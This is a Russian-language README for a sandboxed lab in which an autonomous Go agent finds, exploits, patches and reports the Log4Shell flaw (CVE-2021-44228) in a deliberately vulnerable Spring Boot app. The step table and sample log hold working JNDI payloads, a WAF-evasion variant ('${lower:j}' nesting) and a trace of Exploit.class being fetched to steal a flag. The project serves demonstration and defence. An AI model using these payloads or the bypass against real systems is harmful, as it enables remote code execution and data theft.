Изолированный демонстрационный стенд автономного рефлексивного агента-исполнителя (Go/Java)
Русский 🇷🇺 • English 🇬🇧 • 中文 🇨🇳 • Español 🇪🇸 • Deutsch 🇩🇪 • Italiano 🇮🇹 • العربية 🇸🇦
Note
AUTO AUDIT — это программный комплекс, демонстрирующий 100% автономный замкнутый цикл (Sense-Think-Act) выявления, проверки, эксплуатации, автоматического исправления (Self-Healing / Auto-Remediation) и комплаенс-отчетности для критической уязвимости Log4Shell (CVE-2021-44228 / БДУ ФСТЭК:2021-06103).
Стенд развертывает локальное веб-приложение на базе Java Spring Boot, встроенный LDAP TCP Callback Listener и когнитивное ядро Go-агента, принимающего решения в условиях частичной наблюдаемости внешней среды (Partially Observable Markov Decision Process — POMDP).
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#3b82f6',
'lineColor': '#38bdf8',
'secondaryColor': '#1e1b4b',
'tertiaryColor': '#0f172a',
'edgeLabelBackground': '#0f172a'
}
}}%%
graph TD
classDef sense fill:#0284c7,stroke:#0ea5e9,stroke-width:2px,color:#fff;
classDef think fill:#4f46e5,stroke:#6366f1,stroke-width:2px,color:#fff;
classDef act fill:#059669,stroke:#10b981,stroke-width:2px,color:#fff;
classDef target fill:#dc2626,stroke:#ef4444,stroke-width:2px,color:#fff;
subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
B --> C{Вычисление Utility Policy}:::think
C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
D --> E[Выполнение Tool.Execute]:::act
E -->|Воздействие| F((Java Spring Boot Target)):::target
F -.->|Обратный канал OOB| A
end
Программная структура агента разработана в соответствии с принципами чистой архитектуры (Hexagonal Architecture / Ports and Adapters), SOLID и TDD:
- 📂 cmd/agent/main.go — Точка входа. Управляет жизненным циклом фоновых процессов и координирует запуск горутины агента.
- 📂
internal/— Основная бизнес-логика когнитивного контура:- 🧠 agent/agent.go — Когнитивный контур. Реализует управляющий цикл и решающее правило выбора стратегии
Think(). - 💾 core/model.go — Потокобезопасная база знаний (
KnowledgeBase/ LTM) на базеsync.RWMutex. - 🔌 core/effector.go — Интерфейс
Toolдля эффекторов. - ⚙️ effectors/ — Реестр полиморфных эффекторов (инструментов):
- 🔍
ToolPortScanner— Разведка сетевого периметра. - 🌐
ToolDiscovery— Поиск точек сочленения и векторов ввода (X-Api-Version). - 🔬
ToolPayloadGenerator— Синтез сигнатурного вектора JNDI. - 🚀
ToolProber— Проверка уязвимости методом внеполосной (Out-of-Band) трассировки. - 🛡️
ToolSemanticFuzzer— Обход классификаторов фильтрации (WAF Evasion) с помощью вложенных синтаксических мутаций. - 🩹
ToolRemediator— Автоматический патчинг (Self-Healing). - 📄
ToolReporter— Формирование отчета в соответствии с ГОСТ Р 56939-2016.
- 🔍
- 🧠 agent/agent.go — Когнитивный контур. Реализует управляющий цикл и решающее правило выбора стратегии
- 📂
pkg/— Служебные пакеты и библиотеки: - 📂 deployments/ — Конфигурационные файлы для развертывания (Docker, Compose).
- 📂 test/vulnerable-app/ — Уязвимое тестовое Java Spring Boot приложение.
Принятие решений агентом формализовано как частично наблюдаемый марковский процесс принятия решений (POMDP), описываемый кортежем
-
$S$ — дискретное пространство скрытых состояний целевой среды (доступность порта, наличие уязвимых параметров, активность WAF, факт компрометации, статус патчинга, наличие комплаенс-отчета). -
$A$ — пространство действий эффекторов (вызов инструментов:port_scanner,discovery,payload_generator,prober,semantic_fuzzer,remediator,reporter,stop). -
$\Omega$ — пространство наблюдений (полученные HTTP-ответы, OOB TCP-коллбеки, записи файловой системы). -
$O(o \mid s', a)$ — функция наблюдений, определяющая вероятность получения отклика$o \in \Omega$ .
Агент не имеет прямой информации о скрытом состоянии среды KnowledgeBase:
-
$b(S_{recon}) \in {0, 1}$ — состояние сетевой разведки (порт открыт/закрыт). Отображается наToolPerformance["port_scanner"]. -
$b(S_{discovery}) \in {0, 1}$ — маппинг векторов ввода (найдены ли параметры). Отображается наlen(DiscoveryVectors) > 0. -
$b(S_{payload}) \in {0, 1}$ — готовность эксплоит-сигнатуры. Отображается наlen(CustomPayloads) > 0. -
$b(S_{exploit}) \in {0, 1}$ — статус компрометации (наличие Loot/Flag). Отображается наlen(Loot) > 0. -
$b(S_{patch}) \in {0, 1}$ — факт локализации уязвимости. Отображается наPatchApplied. -
$b(S_{verify}) \in {0, 1}$ — верификация отсутствия повторного OOB-триггера. Отображается наPatchVerified. -
$b(S_{report}) \in {0, 1}$ — генерация регламентированного отчета. Отображается наReportGenerated.
Функция принятия решений Think() реализует детерминированное решающее правило
Для каждого инструмента ToolStats накапливается статистика и вычисляется показатель полезности (Efficiency Score):
Агент использует эти показатели для динамического изменения траектории: если первичный зонд prober завершился неудачей (semantic_fuzzer и выполняет мутацию вектора внедрения.
| Шаг | Выбранный Инструмент | Действие и физика процесса | Изменение Belief State |
|---|---|---|---|
| 1 | port_scanner |
Проверка TCP-сокета хоста :8080. |
Обнаружен открытый HTTP-порт веб-службы ( |
| 2 | discovery |
Выполнение GET-запроса, парсинг DOM и заголовков. | Идентифицирован вектор ввода: заголовок X-Api-Version ( |
| 3 | payload_generator |
Синтез базового эксплоит-вектора. | База данных пополняется строкой \${jndi:ldap://127.0.0.1:1389/Exploit\} ( |
| 4 | prober |
Первичная атака. Агент отправляет полезную нагрузку. | Попытка заблокирована WAF. |
| 5 | semantic_fuzzer |
Обфускация сигнатуры через nested lookups. | Сгенерирована мутировавшая сигнатура ( |
| 6 | prober |
Атака с обфусцированным вектором. | Встроенный LDAP-слушатель фиксирует входящее TCP-соединение. Выявлен факт RCE ( |
| 7 | remediator |
Автоматическое исправление. Запись флага в remediation.properties и перезапуск JVM. |
Процесс Spring Boot перезапущен с флагом -Dlog4j2.formatMsgNoLookups=true ( |
| 8 | prober |
Верификация (повторный зондирующий запрос). | Ожидание OOB-соединения на порту 1389. Соединение отсутствует |
| 9 | reporter |
Генерация markdown-отчета. | Документ reports/cve_2021_44228_report.md сформирован ( |
| 10 | stop |
Терминация. | Завершение работы. |
Данная схема описывает непрерывный жизненный цикл функционирования агента: от запуска и инициализации базы знаний до завершения сессии аудита.
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#475569',
'lineColor': '#38bdf8',
'secondaryColor': '#1e293b'
}
}}%%
flowchart TD
classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;
Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
Init --> LoopStart{Цикл принятия решений}:::decision
%% Think Phase
LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
%% Branch on Stop
Think --> IsStop{a == 'stop'?}:::decision
IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
%% Act Phase
IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
%% Sense Phase
Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
%% Wait
RecordObs --> Delay[Задержка 800 мс]:::step
Delay --> LoopStart
Данная схема детально описывает логику выбора следующего шага на основе текущего накопленного вектора доверия (Belief State) внутри функции Think():
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#475569',
'lineColor': '#38bdf8',
'secondaryColor': '#1e293b'
}
}}%%
flowchart TD
classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
classDef process fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
classDef selection fill:#064e3b,stroke:#10b981,stroke-width:1px,color:#e2e8f0;
Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process
%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection
%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection
%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection
%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision
ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection
%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection
%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection
%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection
%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection
%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock
Unlock --> End([Возврат выбранного инструмента]):::startEnd
Приложение-цель в директории test/vulnerable-app/ представляет собой минимальный REST-сервис на базе Spring Boot 2.7.18 с намеренно заниженными версиями библиотек Apache Log4j2:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>Уязвимый контроллер логирует входящие HTTP-заголовки без предварительной очистки:
logger.info("[AUDIT] API Version header logged: {}", apiVersion);При получении строки вида \${jndi:ldap://...\} логгер инициирует резолв JNDI-адреса, отправляя запрос по протоколу LDAP на порт 1389.
Демонстрационный стенд поддерживает два режима развертывания: локальный запуск непосредственно на хост-системе (Вариант А) или полностью контейнеризированный запуск в изолированном сетевом окружении через Docker Compose (Вариант Б).
- JDK 17+ (проверьте через
java -version) - Maven 3.8+ (проверьте через
mvn -version) - Go 1.21+ (проверьте через
go version)
Скомпилируйте Java-цель в толстый JAR-артефакт:
cd test/vulnerable-app
mvn clean package
cd ../..Убедитесь, что в директории test/vulnerable-app/target/ успешно создался файл vulnerable-app-simple-1.0.0.jar.
Скомпилируйте Java Exploit класс, который будет раздаваться HTTP-сервером:
javac internal/payload/Exploit.javaЗапуск в режиме интерпретации Go на лету:
go run ./cmd/agentИли выполните компиляцию в исполняемый бинарный файл:
go build -o test_agent ./cmd/agent
./test_agentTip
Этот вариант не требует установки Go, Java или Maven на вашей хост-системе. Всё окружение собирается и оркеструется автоматически в изолированной виртуальной сети 172.20.0.0/16.
- Установленный Docker и плагин Docker Compose (проверьте через
docker compose version).
Выполните сборку образов и запуск контейнеров одной командой из корневой директории проекта:
docker compose -f deployments/docker-compose.yml up --buildvulnerable-appавтоматически скомпилирует Java-приложение Spring Boot, запишет секретный флаг в закрытую директорию/var/lib/secret/flag.txtи запустит веб-сервер на порту:8080.reflective-agentскомпилирует Go-код агента, скомпилирует Java-payloadExploit.java, поднимет OOB-серверы и запустит когнитивный цикл.- Локальная папка
reports/на хост-системе примонтирована к контейнеру агента — сгенерированный в конце работы ГОСТ-отчет автоматически сохранится в вашей директорииreports/cve_2021_44228_report.md.
Для завершения симуляции и удаления сетевых ресурсов выполните:
docker compose -f deployments/docker-compose.yml down=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.
[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.
[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.
[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.
[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.
[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.
================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.
Генерируемый агентом отчет в файле reports/cve_2021_44228_report.md учитывает ключевые российские стандарты ИБ:
- ГОСТ Р 56939-2016 — Разработка безопасного программного обеспечения.
- ФЗ-152 — Требования по защите персональных данных (ПДн) при обнаружении недекларированных возможностей.
- ФЗ-187 — Обеспечение устойчивости объектов критической информационной инфраструктуры (КИИ РФ).
Этот проект распространяется под лицензией MIT. Подробности в файле LICENSE.
